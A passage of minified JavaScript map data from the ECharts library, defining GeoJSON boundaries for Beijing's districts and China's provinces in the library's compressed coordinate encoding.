LJN@VbXbLVT"],encodeOffsets:[[119561,41684]]}},{type:"Feature",id:"110116",properties:{name:"怀柔区",cp:[116.6377,40.6219],childNum:1},geometry:{type:"Polygon",coordinates:["@@JHTVHXCHPfnDJGHNDJSB[JSBGVSAOH@PMPuDEHHXZN@PHF@ZLJ@LHVYJA\\OFWP]BMtMBSRGV[JeVAPQVIFENMD¡–@^NV\\JH@NNL@NM\\kTQ\\I^FNIpBHGTBFFAZQfKDIXQTLXFXNNVMVHRGpCFLlRLEVBBH`IVO\\G`RDPAXLXBXORHZEHTDLLN@VGTMrQNFPeASKG@GMOAKBYMK@GTUHUXSHMVDNMOUEOZMJML@^KRACMZEZMRQLUHE@OFENPR@DI\\ChMHIDG\\GJMDWHCKGMDCIQCHO_K@GaIJSWWQDaGWJMNCKRsCYGYuJUSaKaW@UIMDK@[QUHOGQJMEILCAUDKFSOUQD[WMC‚Q@WPMGCCIUSE[IMPMN]`e@IEGAQBMHM@YEOSGCIDMIGNOLB@QP@GkP@AI^J@ILEBIbADGEOog@KQQWSekWQQUOFKZLF@PUNmIaHIUeBCTSHENcJa@_IWSaGu`GLSBKJQFOXGDXVQVOBIHcDSJWBEFGTMH[^mLaXcHiKElTRKtFXZ`MHMPCNRDxZˆB\\ICIHK@KŽHbIVFZ@BPnGTGbDXRDJaZKRiGEFSFEJhjFNZFjn"],encodeOffsets:[[119314,41552]]}},{type:"Feature",id:"110111",properties:{name:"房山区",cp:[115.8453,39.7163],childNum:1},geometry:{type:"Polygon",coordinates:["@@h@bl@HRJDZ``TA\\VVD^H`\\pF\\JŒ`JGv@ZO\\GPSTEjPTR`FnEbDTDHEhLFMTK@ETSPULKEI@OVISKSJACEQNQbV˜IXGDIN@dMB[IIBcN]ZHNLP@XOWCFWŠCNRHTpATD@^NVNLED@Rh@jCEF}E[OOHUEW]W@QGGDIQSH_MmFmCUT_K]i@MHCMW—FCF‹E{BMHMPOHKS]CFNGBELDH_@BcAKOACESAOBELaXAROB@FODMEDWJAG[aE@UM@DImEWJMC@OeCA{aE[@{L@MINUCQXKfUJORCHqJBF@TCXWNQX]M[EAJO@@KMBQJIC]EWMCCUBEBFHKDOTMBGNGF]MWDBRDdMDQVyE@LPVHDCP@JVVMTG~HNSH[CmRUvHPHBbA\\PTNRC\\YNJ€PRARPJDDR"],encodeOffsets:[[118343,40770]]}},{type:"Feature",id:"110229",properties:{name:"延庆县",cp:[116.1543,40.5286],childNum:1},geometry:{type:"Polygon",coordinates:["@@^AXOPEB[ZIGU@KKI@YGE@OYMGWFGvCNO@OPGTBHUTA\\ITACIGMIHmCOeDGGWSUIGimYEEMgiFITEFEjHLQbYCIWQaCSHmHAOY@UEaJG@LGLDJ[J‡AwYQCDMNONGY_EWLsSQFkMO[NWAIGaIYL@HMBOKiOQDWEUDMQSF_QIUBWdg@[NaAKQ@M]OQ@WhgLUMMFYQDIRCEUZOOCIOJ[KIUMKL@HIDKVEBM`HJAJSJUdBLGNEdMBMO[BYEWJSNKNaD]PE\\SjOT_RQVEZPpƒNQXfŠNA~lNG`@PNLp¼RFLfbdKbATUh@FSNWjGFZVLFHVA~X¨PPROfFJbNJPLFbENJPrEFNPFRHDDJdENJLVEPBJTVTHGHFRFH@PXP\\ORQHW\\BjWFDERLPPBbB\\E`B\\D\\L`@F]FCnJ^AZL"],encodeOffsets:[[119262,41751]]}},{type:"Feature",id:"110109",properties:{name:"门头沟区",cp:[115.8,39.9957],childNum:1},geometry:{type:"Polygon",coordinates:["@@V@XMnGPY²‰JQNEhH\\AZMPDVTTDZCPiJkHSHCjIdFtEHITCNITQEKUAMCEIKCECABYESKFWAKBEIIHABGDCKCAIHMHALKEI\\CFIBILIJQZS]BBEECS@E@@C]COKI@CABAAEEDMGƒCH]A[M@CJWH—JaUMRFRBDTITLUJ@PFJKLOVST@FSLENgKGFSCaCmF_ESQiOSFOT[HYPu@IH‹_[IoE_[]GUC[USB__CYQI@Gakg@qZeHQNMNV\\FVLPgJAFJPRLCH[XcPELUT[JiV_EELFTADBXRTRLJC@fHXHHbPd`fR@NfT`@TLplHMpCEJHJBVLFŽ@JT‚VnG^KXDXHNVGRLRXFJVdDHSNWLGfEzA"],encodeOffsets:[[118635,41113]]}},{type:"Feature",id:"110114",properties:{name:"昌平区",cp:[116.1777,40.2134],childNum:1},geometry:{type:"Polygon",coordinates:["@@VNLJI\\JPPDYPFVQDCJZRNEVNhKXgR@^P@NLRbB\\Mh@XcVARJE`RTCNFV€XRCjPPLNA@GZKbJJHXB\\MNPjLdGbWnK\\]NGHSFEXATIdCJGPARUWUHCPWRELITAHKv_E@iYCaW_BQ\\Y@QIO@QDCIGZCEMWGFMFAFgHEDOCSqKCCFGAMKEAC@ODGCGs@WH@KQA@EE@CE@GEA@EH@GGUEEJEAYD@JM@@DAA@FHD@FTJEHUC@JUBKCKG@G[CIIQReAYhO@OXGDO@@FF@IHJFCPEBACBIAAKDOABXARHPNEHGbQAAKQFGIAM[C@WHKaGiCEGOA‹HUKCIokSCUSOCYN[BgGMFIR±ŠOZmHWNU@ShbbXDHVXXGJ^lZ@PZ\\Nb@\\FHJAD"], +encodeOffsets:[[118750,41232]]}},{type:"Feature",id:"110115",properties:{name:"大兴区",cp:[116.4716,39.6352],childNum:1},geometry:{type:"Polygon",coordinates:["@@F\\E~DFN@BDFEpHFCHBBEGCDCJBHUDSBB@ELCPbF@B\\J@BJVAFJ\\ADKTCBGECFMT@BMN@@FH@DaNBEnvB@FPBATK@FHEFIAKFBFL@@PKBFJHC@FXBRAFCDMPDTOL@JIVFDHH@DDH@BGRFCDLD@N^@@CNA@KNOAEBCECFEGCFGMGFIPMOEJOLBADBBHGG@GCHIECY@INC@DMGS\\AIOZAAEYA@GT@KKMBEETCGMVINFxA@MJADB@FlA@HJA@NND@DFA@DVAZBBOFKH_JA@K^GBC@EFE„G@gAENMXKJigC@IbSJMqGOP£RGSMGE@kbQFDPEFiBSGGSBK]I{CDWCIDOic[C_G@SuSO@EWKCO@MNY@\\uZOPENQD[LKESSKGBKEG@EJGAGHoH¥CqhifeJkX_XFFGHFNEDFPENKHM^IFIVL^S`DVEnNnG`RTCJHH@R^XFXGVPP"],encodeOffsets:[[119042,40704]]}},{type:"Feature",id:"110113",properties:{name:"顺义区",cp:[116.7242,40.1619],childNum:1},geometry:{type:"Polygon",coordinates:["@@EhEBENXHFNYDJHCD@RJP@R[ZARX`DbjZF@bHXT`Jb@dIFMTGDSfAJVbGnJVM@OKELYPERVXRflXTT@NIfC\\NJRhCVEHFJXNT^DTeZEHYCOhuAMJELOdAVPTMOWBWNMNEJgl]@WGUFIC[T{EEDEHGCIGMI@SECUQI[D{A{GQESPUH]CsiMCmHUeoHENcAaDGCMDGMQCACCBaCGLMAHB@DIEQLOAAEEJ@CW@CDINGAAGKQOCgV@LG@BEGDKNeREFBNCFIDOPKD[@YRW@GFWDAFE@EHDDrLDTCPGF","@@KrJEH[\\B@FF@CHFBHUN‹AJKADGECBCMAG^E@EbI@BEGP"],encodeOffsets:[[119283,41084],[119377,41046]]}},{type:"Feature",id:"110117",properties:{name:"平谷区",cp:[117.1706,40.2052],childNum:1},geometry:{type:"Polygon",coordinates:["@@ZJZRafFLjn€VGNJ@LLBdXX\\T^EDMJ@”nZKLBjPPJ@HbA\\H`DbERHLCFK^BZaFWXQLAGMHa\\OLO@SBIpBdCLƒVQfElO@GSAKEDQTC@GEBKG@ORIJBDAPDFA@CaOq@GGQAAEJK@KMUGAAGEAa@MGMBGCGSIIW@WSUCMDOJeWOM@IUF{WMWaDIMgIoRoCOKeEOEAG_I[cg@wLIFENQFDVTFJ@HNDJGHCFFFS|D\\EJHV@Xk^IhMFMNAXPX"],encodeOffsets:[[119748,41190]]}},{type:"Feature",id:"110112",properties:{name:"通州区",cp:[116.7297,39.8131],childNum:1},geometry:{type:"Polygon",coordinates:["@@FDAJTGDNDCTDDEDBBE@DT@@EHCDGJ@EIZ@@FDBR@ATFBBVFFE@@HNA\\VE@CLIFNJFNJBCP]A@LJFA@HJEDD\\C@DBCHLAEPF@@DH@APHAERDF\\GIxDTM@CFLBBFJ@CNUPMHECGDBF]BMFPDLRBHHBJMDCX@@DFIBFPBRKJF@CGANBHKbDDABDRDHNNCHDbCdBFMpGHiOYMefKJMC}HWAUNW\\NNBNA„kNU|]HMTMN@MZBLFFF@RIRUT‘BMFIEGaAGGAOIIUGTSFcYKS@MSLYPKRUBU]EWDOI]CKGASgW@MTWKIMCS@uMAKKADMECGAKVUTSDy@IjWLMNBF@hƒHEF@FAD]H@LIBG`ELAPYAUB@CEB@CMC@MIB@GkB@ECAIB@NwBMEUJHNSDFFNALLS@@HZBBFYBJP[BHTCND@JMZ@FDGJHDH@GHAABCKAIPPFONEJNHEHHDEFFDADBFMP@L"],encodeOffsets:[[119329,40782]]}},{type:"Feature",id:"110105",properties:{name:"朝阳区",cp:[116.4977,39.949],childNum:2},geometry:{type:"MultiPolygon",coordinates:[["@@bFGHBHFBFIVFHHG@@FFB@HDFF@@FRB@LXGt@DHCH@PBDLFBNF@BEXCHEX@ZQ\\@LCPOJCDEAMFEfQLMHCAFH@@KhUNE^AAEHCFDNGVODMI@AEKADEN@CSJw[HCEFQGBBOG@@CE@FOKBDGCAD@C[FCGIB@IE@K^BDOIAEMMIJEDKF@[UMB@GF@EEAUEABSQ@CA@EY@FJI@CHGD@FS@@CAFCACFSCCDCMSHBIECMB@D]@@MKCDCQEAHG@CCG@CGUEIJK@SPOCCNEDQBDNDB@DJCDLFCBBALJB@BVGPBKVO@KHCCCD@FE@BNA@FNCTDDJA@FGB@NBDW@CL@hT@@ZHHQDDDAFSAANBC@HG@EFS@@DE@@PCB@Ue@CADNJB@FCBWA@LI^ix@FIHrH"],["@@HUN‹AJKADGECBCMAG^E@EbI@BEGPKrJEH[\\B@FF@CHFB"]],encodeOffsets:[[[119169,40992]],[[119398,41063]]]}},{type:"Feature",id:"110108",properties:{name:"海淀区",cp:[116.2202,40.0239],childNum:1},geometry:{type:"Polygon",coordinates:["@@plDJVLŒGPBFHjDbHGL@X\\DBNHJREBLRBHaFGŽMGOBQAWPBLCBBAJBDFADOIEJGE@@EP@HCPWP@ZgfBRQJJ\\D@HLHLDVA@IVDFGSI@EGC@EBB@CN@@IZCAGHGaEqGJG@EjwJ]@K@GSA@e_I@NE@CA@Kg@KC@ENCFƒAKQAW@WIMK@V‹@I@@F@^EDFB@HcIaDYCBRRDCHD@EFLN@FE@CJUPEJOJMTBPEDIFCMIAKNOGMRFJNDVBFLSRMJSDGJsFcEiJGDGTIlOjYD"],encodeOffsets:[[118834,41050]]}},{type:"Feature",id:"110106",properties:{name:"丰台区",cp:[116.2683,39.8309],childNum:1},geometry:{type:"Polygon",coordinates:["@@hMN@NFTQCFRCBJFA@HJ@@HJ@HJ\\FTACDŒ@@UNLXJX@@MA@@IECAQlDFEHBDI~D@GXCFMVDFCH@@NF@ANJC@FnAB@AMF@@EDCDDLGP@LUOAUH@AIABKAAEDCKID@CCACMWA@EGDEILA@OK@AELEJBFEEGL@BSOA@EuAFmMACbG@@EM@ANS@ENFDAHSDCL[BEIUBAII@A[E@OaKD@FAACTGVIACDHDAFGAEDoGEFACM@i€g@@QFCMKMU@]SCoBGSMQ‰DEXXDWPO@MKYGM^AdJJA\\cNB\\G^„DNHFCBFABDBJ@PL^D@DF@T@FDAF^A"],encodeOffsets:[[118958,40846]]}},{type:"Feature",id:"110107",properties:{name:"石景山区",cp:[116.1887,39.9346],childNum:1},geometry:{type:"Polygon",coordinates:["@@NQPHLMJBDNJEFCAONSPIFIVODIF@@EKMFEC@DGQCAQZDbCdJ@GEAFC@]@EJ@DCSB[EGII@@GI@@GEBAIQDDESRMEM@gNYTIRKJAJEJ[DFJKLGBGNBJLDCDAHGBJJAFBLEXTLZFBAFDLD"],encodeOffsets:[[118940,40953]]}},{type:"Feature",id:"110102",properties:{name:"西城区",cp:[116.3631,39.9353],childNum:1},geometry:{type:"Polygon",coordinates:["@@XBDA@EIACM@IJAD]BC@SFABISAD]H@@OAEDQEW@BLE„MD@FLDh@@LDBF@@M`J@fTB@H"],encodeOffsets:[[119175,40932]]}},{type:"Feature",id:"110101",properties:{name:"东城区",cp:[116.418,39.9367],childNum:1},geometry:{type:"Polygon",coordinates:["@@DBf@@VDA@OF@@CT@FEH@@GADBMTBBECCRCGG@YS@@gDK@A‘C@PG@C^TBAJEB@TADC^IB@J"],encodeOffsets:[[119182,40921]]}},{type:"Feature",id:"110104",properties:{name:"宣武区",cp:[116.3603,39.8852],childNum:1},geometry:{type:"Polygon",coordinates:["@@RBX@RFFCŽBFU@aK@WA}CCJGAEFkCBRFD@JB@@N"],encodeOffsets:[[119118,40855]]}},{type:"Feature",id:"110103",properties:{name:"崇文区",cp:[116.4166,39.8811],childNum:1},geometry:{type:"Polygon",coordinates:["@@XBL@@bEV’D@BX@AC@MHA@EIBCCDSEMmB@EIDBME@@MG@EDUCENWD@H"],encodeOffsets:[[119175,40829]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/china_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"xin_jiang",properties:{name:"新疆",cp:[84.9023,41.748],childNum:18},geometry:{type:"Polygon",coordinates:["@@@›ρȁôƧƦóəʵסʵóƪԫʵѵͩƧͩړ›υࡓɛʵ@ȃ@óᇑѵƨɝɚôóНѺͩɜ̏ԭʵôƧɞñ@υƩ—݇ȂóƩƧ@ѵȂυœƥŌਗ—॥ɛóʵѵƧѹ˜݇̍ࢯ˜əɞυ˜ρͩ̏óਙƨƧŋôōóš̍ͩóʵן›óŋړͪƧѶ@ɜԭ—ԫƦɛȄ̍›ɝȄöςƩȂ̏œñȀ̏œƩóóŎə˜@Ő̎@ɞȀɝŎôƨóנѵȄƧ@óŏɝœóɜôŎ̍ͨςŎ@ƨóôƨɞ݈ʶóƨφó̎Ȁƨ̍ԮòѸԮמ@ѺȀ@ƪၬֆòȂñ̐òȂɜ˜óƨ̒Ŏ̑߼@φρȀ@Ő๐ς̎Ƨφ@ɝφڔ೦Ԯǿࢰ@ƦŏԮƨƨȄƧ۬ɜʶڔŐɚɚóŐôƨ߼˜ôƧƧó̐ƥóŏѺǿƦȁφƧς˜ƨƧ̒@ɜƥƦυ̐ɛƪͩƩəƪʷ̑ə@ȃƨʵנŋྸōਚԭԪ—@ɝƨŋ̒օςʵôƧ"],encodeOffsets:[[98730,43786]]}},{type:"Feature",id:"xi_zang",properties:{name:"西藏",cp:[88.7695,31.6846],childNum:7},geometry:{type:"Polygon",coordinates:["@@ôŌנœôʶ̎ͪô™óŎƨŌਚƧ̐ôςͪφ—ɚɝࢰ—݈̎Ѻ—Ѷƨôʶ०ɜਘ˜Ʀŋφ›Ѷȁ̍—ôŏɚŋ@̑ə—@ŏò̍ɜ›óƥôʷƧ̍φѹԪ̍ע@Ѹʷɜ@ôñנ@Ѷɛɞô̐ŏѶƨѸƧƥōƦœôŏô—@ƧôƩ̒ŋƨŌƦǿô̎ɜȁ̒—óʶѶôôО̒›ςƥɜНφσɛȁ̎υƨఱƧŏ@ʵƥœ@ŌóóóͩƨƧóŋ̑õóɞóɝԩͪɝρôƧ̍ƧѹͨڑŎ̑ōóƧࢭͩ̏ѵɝóఱóóԪυô@̒ƥŌ̏Ƨ̑Ȅ݇ŎƧ›ѵӏ@ɛõŏɛȄôӒƧŌѵǿɝ˜Ƨŋԫ@̏ʴƥ@óǿ̑Ȁóǿ̍ςóóυô@ʶɛñρƦƩŐó̎óœѵó̑ͪࢯОóɜן˜Ƨ̏ƥȄ߻̎̏̐ןŎɝɜöɞƩȀôöɛȀóͪ̐ƨƪ̍̎ȂƥԪυО@φɞ˜ôƪ"],encodeOffsets:[[80911,35146]]}},{type:"Feature",id:"nei_meng_gu",properties:{name:"内蒙古",cp:[117.5977,44.3408],childNum:12},geometry:{type:"Polygon",coordinates:["@@ኊȁ૊ö߼ƩɜɛנñԮɛѶóԮô@ȁѸóמ̎ගѺၬ@߼ʶԮӒ߼̎@ŐѹӒ̒Ԫƨöග̑ѶȄ̒ς।œѶɚöɞɜʴڔôôȂ̎—ѺȀς—ƨ˜ƪóԪ—ɜôɛОਕڔԭ˜ѵ̍ѹȂԫ›ɛƥ̍Ȃóɜ̎ô@ʶ݊ੲࢮʵږͪנƨôȂƧ˜̐ͪ@ŐƦƨφԬѶɜôƦ@ŐƧôôƦəŐ̏›@ŐڒѶԬô̐ʳԩНςōôŏɞ@ƨȂѶəóƧ̒ػ̎ó̐Őנóƨô̒@ƨɚɚ@עԫɛɛ@ȁυͩƥʳòևρ—̑ࡗƧͪ༃ॣԮփ̎Ʀ@ôô@ôō@š@ȁѵóƨ̍υȃóʵɛƨƥóυȂóəƪ›̐ρƧͩɜԭڔȄ̎عƧȁ̐ŏó̍ɛ›ƥƧ̑óρŐ@Ƨ̏˜ɝəɛ˜߻ͩ̍ͩɝО̍ƪƧóóӓƨóƧʳ݇@ɝςƪœ@ʴƩ—ƧƦôƨɛȄə›Ƨŋυ›óͩѵ@ɝǿóŌן̍ɛ˜óО̍œ̑̏ôȁ̍ŏòȁñóƦͩ@ǿə@ɛƧ̑˜ρȁυô̍օѹœóȃə™@ȂσʵѷƪòƩ̍—ôó߻ۯôʳƧ™óšõʵѵóѹɜ̍ȂѹôɛŌφֈƩͨρóυӑóޟఱ̑݇ͪóƪƨŌóȄڔԬƩςםñ̑ȃѵŐԭŏƨȁɛǿρôõɚɛóƧОə@ѹ̐ѵöԪͨôͪɛ̒ןŏƧƥóôƥƧɛŌôóɝó@̒݇Ӓ̒Ō@Ŏԭࢰ"],encodeOffsets:[[99540,43830]]}},{type:"Feature",id:"qing_hai",properties:{name:"青海",cp:[96.2402,35.4199],childNum:8},geometry:{type:"Polygon",coordinates:["@@ƨ@ôƪ݈ȁƪ˜@φɝòóƨԮʶɛ̐ѹͪôОəóƧɞᇒѶ@ôږô@ǿѶ›ƪȁςœɜͩφ˜ςŋɞôѶɛƨŌɞ—@ɚςŐñԪॢͩƨȂɞóƨŐ̎ŏעӏ̎óƧƦôœ̒ȁɜ›ςͩ̒œɚɛƨôƨɝφɛóȁƨŋóóɚͩƨóóƩ@ƧəŋƦƩ̍@ƧƧôǿυ̑@ȁɞǿõŏρƥסɚƧóτԫɞœôƧƦ@ñȃòñƥóυôôѹѵ—@ŏ̏Ȅɝó@ȂəŌóəѹƦ@Ő̍Ōυ݈ԩŐƧóôƧ̑›ôʵɞƧ̑ѵôƩɞƧ̑œóНѵóôʵ̑˜ɛȂó̍ƥȀƧŋ̑Ōóƪ@ƨó˜óŐƥ›ƦŎѷƨѵƧ̏Őɝóѵɜן@óòɛ@ѷʸס@ԩ̎υѺƨ̎óʸôƦɛœñ̎@Őɚ˜@̒əŌóŐ̎˜"],encodeOffsets:[[91890,36945]]}},{type:"Feature",id:"si_chuan",properties:{name:"四川",cp:[102.9199,30.1904],childNum:21},geometry:{type:"Polygon",coordinates:["@@ô˜ôŋó̑Ԯ̒ɛОמͪƨōöͫ߼ƥôȃƨóóñôƧóƧôōڔŏƨŐ@Ŏô˜òƥѺŎ@ōɜóנ˜ôǿô›ƦôԮ̍ɜôɚ›Ƨ—ñɛɚȁ̍Ƨɛևυ@óóôŋρԭɝ@Ƨʸ̍ŏυɜƧƧóƧƨȁρ̍ƨȃɚ—ôʵφóô̑̏Ȃ̑ʵɜʵɞ@ƨʳסƩóŎə—óɜƧôƩƧρ˜óôôô@ŎƧƨƨƪѹ˜ó̍̍Ʃ@̏ѹНôޟ̍Ʃóƪυɝɛ—əƨôŎɛȀ@Ȃ@ñɝʶ@Ōρנ̏—õóɛͨƨȂѵОɛʵ@̏ƩŐó߼Ƨల̍φɜȂυτɛОρƦɝƨóƪ̒Ѷɝƨóʶ̒œóƨƨôԪŏφ݇̎ŋ@ŏѺƥôɚɚŋ@ȁɞô̐ȃ@ŐѶ˜óѺφóƦôñòòȄ"],encodeOffsets:[[104220,34336]]}},{type:"Feature",id:"hei_long_jiang",properties:{name:"黑龙江",cp:[128.1445,48.5156],childNum:13},geometry:{type:"Polygon",coordinates:["@@ᇔȂਚНƨŐѶŏöƥςŏñƧƦóƨȁ@óƨ—óȁφӑóóƨ˜óǿ̎̑ôНɞ—ó̑ɜə߼›̎ǿ̒ôڒӑφ@Ƨȁ̎̏ƥƩ̎ρశ˜ôȂςƨφ@נɞ݈˜̑ƥƧɛƨʵƧȃƥ@Ƨƥ@ŏ̑ԩôɝρρóɛƧ›ƩͩƧó߻ʸ̍ʷѹƥɞڕõ̍öɝυ—̍ȂƧ̐̑ŏóƨñŋѹóóȁ̍›̏Ԭõʸ̏ŏ@ǿ̍@ƧОυ@ñƨòȀƥŎ̑ŐѵóɛŌóȂԫōƧŎѹñ̍ʶóОן@Ƨ̎Ѷô@Ȃ@™óŎó@@ó̍ƥԭք༄।ƨͩ̒ࡘς˜ñֈƦʴφͪ@ȂɜɜסԬə@Ƨə̑@Ƨóןô̏ŏ̍ô̑ؼôƨѵɚƧȁɝ@óŐρŎԪО̏ʴ"],encodeOffsets:[[124380,54630]]}},{type:"Feature",id:"gan_su",properties:{name:"甘肃",cp:[95.7129,40.166],childNum:14},geometry:{type:"Polygon",coordinates:["@@ڔôԮࢯ@ō̑ŋ݈ӑ@̑ɞôóôɜŋƦƨôóƨƦנŐɜ̑óͩԩͧѶõѺ̏ɚ@ƨНɜôöəςóɜȀƧȂԮŐѶŏ̒ȄמòƪρړԫôȃƧŋôƩ݈ͩɚ@@ǿɜ@φͩóŏɜӑƧōôǿ̎›ôƥƪóõ›ö@ô—ƨ˜ôƧƦôó̒ɜ@ɞŌõʶ̏Ő@ȀóôƨȂ@ʶע@@ƥ୾ӑó̑óŋôʵóɛړ@@ƩöóƩóρ—ɛƨ̑@óʷƥƥ̎ɛƧ›ôōƧǿôͩѵôɝȃɞȁõƧρóó—@ōƧŏړŐóŎôƨóƨôòƧôóȄ߻ƦõͬƧŎםͩɜНԭ̑ô̒óŌó—ƥ@óƨɝ›σԬƨôעəςƦöŐɝȀ@Ȃφ̒óȀƨƨ̎@ƥƪɚŌ@ƨôƪƧôəͪôôƧŌôȂυɜƧɞƧóəɜ̑›ρͪɛœ̑Ȃó›ƨƥ̍ôסӐ̍ŐƧŏɝôƧȁॡͪòԩρŏ@əɝ˜ƧŋѵɜɝóρŌυ—ɛͪρ›ƩȂѵœ@Ȁڕó@ȄɜʶφࡔڔœƨͪѶͪԬʶôƩעʶɚʶƥôóƨςȂ"],encodeOffsets:[[98730,43740]]}},{type:"Feature",id:"yun_nan",properties:{name:"云南",cp:[101.8652,25.1807],childNum:16},geometry:{type:"Polygon",coordinates:["@@ôɞôɝ̒öôŌƧƨôͪôô@ŋƦ›@ʶƨŐô߻ƪŏ@̐ɜʶѶНƧȁɜͧöô̐˜ςן@ŋɞʵ@ò@ȁɜǿóōɚƧɜ˜φɞôƩ̎ƪóޠѺО@̐̎ƪô̎Ѻ—ƧƩƨƧ@ōóóôóς—ƪƨƨóôɛó̑ԭ—ƥŌɛǿɝƨɛͩô›@ǿƨȁѺŌɚɛ̍ןѶНɛƧôóƥȁƦͩôŎɞ—ƨ̑ɜ—òôφ@ƨʵ@ɛѹōóȃəƨυǿóʵρƧƧŌƩɛ̏ȄñƧƧȀɝ̍ԩʶƧ̑υ—óŌƥʳɚӑóНƥô̑›óӒѵʵѹœƧӐןôƪφõŌƪ̒ԫŌƧؼƨƨס›ρȁƧœƨȂóʶó@@ʴƨôôφ̎Ŏ@Ȁƨ—ƪɚƨœóƨôôôςóޤƧŌƩŋƧԪ"],encodeOffsets:[[100530,28800]]}},{type:"Feature",id:"guang_xi",properties:{name:"广西",cp:[108.2813,23.6426],childNum:14},geometry:{type:"Polygon",coordinates:["@@ƦŋѺ̎ڔʵƨŐ@ƦמȄƪôóȂɜŌɚͩɜ@öóɜôôȂƦôɜȁ@ɞφ›óȄ̎›ƨʶɞŋƨʴɚǿ̐̎Ԭ@ôñ@̏ƨ›ρ۫ô›ɚƨƨНƪŐ̎›ƥóƦʵƥŋ@ȃóƥƧ@@ŏɝǿôυƧȁѵɛ@əóŏ̑@@ə̍›óƧó—@ȁƩ˜ρóòНƥô@Ӓ̑@óŎ̍ƥσŎυ@̍ƨ@Ō̑ôóͪƨ̒óŌړœ̏Ŏ@ŌôȄѺŎ@ɜƧʶυ@ñóɛ˜Ƨ̒ɝ˜óōƥͪ"],encodeOffsets:[[107011,25335]]}},{type:"Feature",id:"hu_nan",properties:{name:"湖南",cp:[111.5332,27.3779],childNum:14},geometry:{type:"Polygon",coordinates:["@@@քɜОƨ@öŐמóƪôƩɚ̒Ő߼ȁςͩɜòƪ—ɜȀò—ñɝò—Ѻͪ@ŏƨŋóɝôǿƨ™ɚȃóəƨȃѵͩó̍@ȃƨóóƥƨƧ@ʵƦ›óͩɜ—ɛóñԭɛōυȂ̍ƧƦō@ɛƥ—ɛȀ̑œóʷóō̍œƩŏƧОəƧóœς۬Ƨœ@̐óòԫ@̏̍əȀƧʳɝŌóɞƧ˜ƨɜóŐƨò@ȄƧŌρŋóôԪОóʶ@̎óȄ"],encodeOffsets:[[111870,29161]]}},{type:"Feature",id:"shan_xi_1",properties:{name:"陕西",cp:[109.5996,35.6396],childNum:10},geometry:{type:"Polygon",coordinates:["@@ςôöƨɝȂɞȄѶóóͪƨȀóŎƨœ̍ɜƦƦôʸ̒@ɜƧς˜ƪôõô@ƪڔ@ôɜóʶôŌô̒୽Ӓ@Ʀ@Ѻ̎ɜѺɛѶôöʶô™ƨšóʴ߼۰óô̎˜ñƪѸƩτʶ@ȁòŋəѹóǿ̑ʵ@ȁ̒ʷυփô݉ôН̏ط@ȁƨóô̏ƪõ@ʳ̐ʵ@ɝɛŋƩŌɛóןôƧŋ̒ó@ŏ̐ƥ@ŏυ@ƧƧôן̏@ƥȂѹɜəœɛóԭ̎ƥóóœóȀן—ɛô@ŎѹōñƦ"],encodeOffsets:[[108001,33705]]}},{type:"Feature",id:"guang_dong",properties:{name:"广东",cp:[113.4668,22.8076],childNum:21},geometry:{type:"Polygon",coordinates:["@@@Ȃô˜ôƨ̎œ@ɚ̒@ôŐ@ɚѶɜƨȂóφɞȀ@Őƨ@ôƦ@ȄƦŌƥʶƦôôŎôʸ̒›ɜǿƦ˜@ɜƥŎ̎ƨφȁɜŎòƥԮŎƨōóŏɛƧɝəɞƧ߼ɜςȃñȄƦŎ̒ōôòƨəƨ˜ɚН@əƨ̏ƪʵυŌəɛóəԭŏəœóŏѹœρʵɝƦ̏™ƥʳѶ›öō̑óóŋρȀυƧƥɛѹōƧôן—ɛŏѵ@óŋôʵɝ›ƪԩõ@Ƨō̍@Ƨ@@ƦɝԮƪО@@","@@X¯aWĀ„@l"],encodeOffsets:[[112411,21916],[116325,22697]]}},{type:"Feature",id:"ji_lin",properties:{name:"吉林",cp:[126.4746,43.5938],childNum:9},geometry:{type:"Polygon",coordinates:["@@נ@ôН̎ʵѺòƨōԬŎôȁɜŋѶô̒ŏƦōñǿòƧφ@ƨН̎@@Ȁ̐Őöʷ̐ԫ̎œôȂѺôòŌôƧ̒Őƨ̏̎ȁφ˜@ŋƩͩםȃƨ—@ȁ̑ʶ@Ōóôɛœƥѹ̑—συ݇@ɜρƧȃࢯƨôœəȂɛōƩɛ̏υρóõœƪʴυφ@ʶôŌóœρք@ɜƧ@ɝǿƧͪρȀƩó̏ŐƨȂ̍غړȃɛԮƨͪ̏ςƩœôɚφȁƦôɜƧôʶφȄ"],encodeOffsets:[[126181,47341]]}},{type:"Feature",id:"he_bei",properties:{name:"河北",cp:[115.4004,37.9688],childNum:11},geometry:{type:"MultiPolygon",coordinates:[["@@Ʃ̒̏ŌѺ̒Ʃ˜óȄƧŌƥͪòôñȂ̎ŐóȂ̒̐̎›ôНɜ—נ̎ôŋɞȀѶ@ôͪφœƨŌɚœɜȃóƧƨƥƪ˜@ʳƩ›ɞρ݈@υНφʵɜ˜ƦρƨƧ̍ɝóɛѹ̍ρŏ̑ôóƨ@œƧƦôƨɛ@ƥƨ@ȂƦ@@ôəŐƧʶƨŌυœ̍̎ɛŋôōɝ@óƧ̍›ƦʵѵʳôʵɜŏςôƪŋƨŌɚ@ôНƥƧ@ōѸɛ̐ô̎ʵѵНԭ@̍̍Ƨò@ȁɝ@əρυͩƪ̏ƩõƧŎƧōóšॡȄɛʶɜȀ@ɞςѶƧœƥςɛŐ@ɚɜɜ@Ŏôôςœƪς"],["@@õə@Ƨɛ˜@ŐóƦφô"]],encodeOffsets:[[[117271,40455]],[[120061,41040]]]}},{type:"Feature",id:"hu_bei",properties:{name:"湖北",cp:[112.2363,31.1572],childNum:17},geometry:{type:"Polygon",coordinates:["@@ñȄυƦöŐƩ˜óנƨƨφ@@Ő̏Ʀ@Ő̑ôƨŌנóɜôƪŋɜŌѶօڔə݈òɞōɜŎôӏƦóƨô̒óôȃƨó̎ŐôƧƪ@ƨȁςƧə̑̎Н@̍Ƨŏρôԭͩԫ—̍ʵƧšóȀôɞƧŌ@Őѹͩñ˜òɞñ˜ɛǿƩ˜ɛñρͪ߻Ȃ̑ŏƪəƩóםôõŏƧ@ɛНƥȄó›̑ѺƧ›ôφóƨƨƦƪóɜŐôóòôƨóφ̐ƨóƦ̎"],encodeOffsets:[[112860,31905]]}},{type:"Feature",id:"gui_zhou",properties:{name:"贵州",cp:[106.6113,26.9385],childNum:9},geometry:{type:"Polygon",coordinates:["@@ɜȀƦŋԮ˜ô̒ɚ˜ôōעƪƧʴɝ@ɛʶ̒ʶ̐ȁƦœóȂô@ôŏ@ōô—ƨʶѸô@ʶƨ˜ɞó@ōτöòυƨ@@əƨô@ɛ̒@Ʀɜôȃ@̍ôʵԩНôóςŌ